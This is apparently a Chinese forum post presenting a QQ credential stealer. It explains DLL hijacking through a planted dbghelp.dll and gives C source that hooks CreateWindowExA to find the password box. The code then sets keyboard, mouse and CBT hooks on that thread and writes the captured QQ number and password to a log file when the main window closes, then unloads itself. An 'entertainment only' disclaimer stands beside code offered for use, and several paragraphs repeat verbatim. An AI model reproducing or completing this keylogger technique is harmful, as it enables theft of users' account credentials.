先说一下我是怎么做的,安装监控,其实就是将Hook DLL复制为dbghelp.dll到xx目录下,然后把系统的dbghelp.dll改名_dbghelp.dll复制到xx的目录下,也就是劫持dbghelp.dll
卸载监控,其实就是删除劫持DLL而已
另外只有关闭了QQ主窗口,密码才会记录下来
在Hook DLL里面我Hook了GetForegroundWindow、和CreateWindowExA,Hook CreateWindowExA很简单,因为创建密码框的时候会调用该函数,从xx软件创建登录框整个过程,它只创建一个编辑框,因此判断下它是否是"Edit"类名就行了
附件 79116
附件 79117
貌似好多人测试不成功,我是从百度下的最新QQ,那我发一点代码,不管行不行都不能全发
HOOK GetForegroundWindow方法,直接返回NULL
HOOK CreateWindowExA的方法,主要是得到主窗口和QQ密码框的句柄,并开始安装局部钩子
CBT 钩子函数,安装此钩子的目的主要是得到主窗口关闭的消息,保存密码,并且卸载自身
本程序仅供娱乐,如有违规,请吧务帮我删除
卸载监控,其实就是删除劫持DLL而已
另外只有关闭了QQ主窗口,密码才会记录下来
在Hook DLL里面我Hook了GetForegroundWindow、和CreateWindowExA,Hook CreateWindowExA很简单,因为创建密码框的时候会调用该函数,从xx软件创建登录框整个过程,它只创建一个编辑框,因此判断下它是否是"Edit"类名就行了
附件 79116
附件 79117
貌似好多人测试不成功,我是从百度下的最新QQ,那我发一点代码,不管行不行都不能全发
HOOK GetForegroundWindow方法,直接返回NULL
代码:
HWND WINAPI FakedGetForegroundWindow()
{
return NULL;
}
代码:
HWND WINAPI FakedCreateWindowExA(
DWORD dwExStyle,
LPCSTR lpClassName,
LPCSTR lpWindowName,
DWORD dwStyle,
int X,
int Y,
int nWidth,
int nHeight,
HWND hWndParent,
HMENU hMenu,
HINSTANCE hInstance,
LPVOID lpParam)
{
HWND hTmpWnd;
DWORD dwTID;
hTmpWnd = RealCreateWindowExA(
dwExStyle,
lpClassName,
lpWindowName,
dwStyle,
X,
Y,
nWidth,
nHeight,
hWndParent,
hMenu,
hInstance,
lpParam);
if(hTmpWnd && lpClassName && hWndParent)
{
if(lstrcmpi(lpClassName, "Edit") == 0)
{
g_hQQMain = hWndParent;
g_hQQPass = hTmpWnd;
//获取 QQ密码框 线程ID
dwTID = GetWindowThreadProcessId(g_hQQPass,0);
//安装只针对 QQ密码框线程 的键盘鼠标钩子
g_hKeyboardhook = SetWindowsHookEx(WH_KEYBOARD, Keyboard_HookProc, NULL, dwTID);
g_hMousehook = SetWindowsHookEx(WH_MOUSE, Mouse_HookProc, NULL, dwTID);
//安装只针对 QQ密码框线程 的CBT钩子
g_hCBThook = SetWindowsHookEx(WH_CBT, CBTHookProc, NULL, dwTID);
}
}
return hTmpWnd;
}
代码:
LRESULT CALLBACK CBTHookProc( int code, WPARAM wParam, LPARAM lParam )
{
HWND hWnd = (HWND)wParam;
if(code < 0)
return CallNextHookEx(g_hCBThook, code, wParam, lParam);
if(code == HCBT_ACTIVATE)
{
}
else if(code == HCBT_SETFOCUS)
{
}
else if(code == HCBT_DESTROYWND)
{
//终极目标已经达到
if(hWnd == g_hQQMain)
{
//写入到记录文件
FILE *fp;
fp = fopen(g_szRecordPath, "a+");
fprintf(fp, "QQ号:%s, QQ密码:%s\n", g_szNum, g_szPass);
fclose(fp);
//卸载所有钩子
if(g_hMousehook)
UnhookWindowsHookEx(g_hMousehook);
if(g_hKeyboardhook)
UnhookWindowsHookEx(g_hKeyboardhook);
if(g_hCBThook)
UnhookWindowsHookEx(g_hCBThook);
//卸载自身
CloseHandle(CreateThread(0, 0, (LPTHREAD_START_ROUTINE)UnloadProc, 0, 0, NULL));
}
}
return CallNextHookEx(g_hCBThook, code, wParam, lParam);
}